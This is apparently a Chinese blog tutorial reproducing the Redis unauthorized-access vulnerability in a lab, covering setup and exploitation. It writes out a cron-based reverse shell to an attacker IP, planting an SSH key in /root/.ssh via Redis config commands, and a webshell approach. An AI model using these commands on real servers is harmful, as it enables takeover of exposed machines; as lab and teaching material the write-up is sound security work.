Redis未授权访问漏洞复现

一、漏洞描述

        Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,未绑定IP或未密码访问时都会出错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认密码为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

漏洞的产生条件:

  • Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(默认为空)或者弱密码,可以免密码登录Redis服务

二、漏洞影响版本

        Redis 2.x,3.x,4.x,5.x

三、漏洞危害

        1、无需认证访问到内部数据,可能导致敏感信息泄露,也可以恶意执行flushall清空所有数据。

        2、攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件。

        3、如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

四、环境搭建

        只需要搭建服务端环境,kali自带redis客户端。

①下载Redis服务端

wget http://download.redis.io/releases/redis-4.0.4.tar.gz

②解压下载的压缩包

 

③编译make

④将src目录下的redis-server和redis-cli拷贝到/usr/bin/目录: 

⑤将redis-4.0.4目录下的redis.conf拷贝到/etc/目录下

 

⑥修改/etc/redis.conf配置文件,注释掉本地访问,并设置保护模式为no,这样才能远程访问redis服务。

 ⑦通过修改后的配置文件启动redis服务,服务端环境完成。

./redis-server /etc/redis.conf

五、漏洞复现


redis基本操作

①尝试直接连接,并查看info信息。有响应证明当前存在未授权访问,且可以远程访问。

②创建、查询、删除一个键值对。


Redis拿权限主要是利用redis写文件的功能,我们可以通过写入以下文件获取权限:

  • 写入计划任务反弹shell
  • 写入ssh公钥获取权限
  • 写入webshell获取权限

1)通过计划任务反弹shell

Kali开启监听:

nc -lvvp 3444

写入反弹shell,写入文件需要有写权限,否则报错

set xxx "\n* * * * * /bin/bash -i>&/dev/tcp/10.10.10.128/3444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

等待一分钟左右服务器成功上线。

2)写入SSH公钥获取权限

前提:服务端存在.ssh目录并且有写入的权限。

原理:在数据库中插入一条数据,将本机(kali机)的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized_key,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh目录下生成一个授权的key.

命令如下:

1、生成本机的公钥

ssh-keygen -t rsa     //默认密码为空,直接回车

2、在kali中进入到/root/.ssh目录,执行以下命令将id_rsa.pub文件写入到key.txt

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.30.101 -x set ssh

 

3、使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh并保存文件名为authorized_keys,并将数据保存在目标服务器。

redis-cli -h 192.168.30.101 //连接目标机器
config get dir //查看当前redis备份路径 
config set dir /root/.ssh //设置备份路径为/root/.ssh 
config set dbfilename authorized_keys //设置备份文件名为authorized_keys 
save //保存配置

4、连接目标服务器成功。

ssh root@192.168.30.101 -p 22 -i /y //输入yes即可登录

3)写入webshell

前提:root权限,开启网站服务并且知道网站绝对路径。


写入phpinfo为例。

尝试访问,成功。

 

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值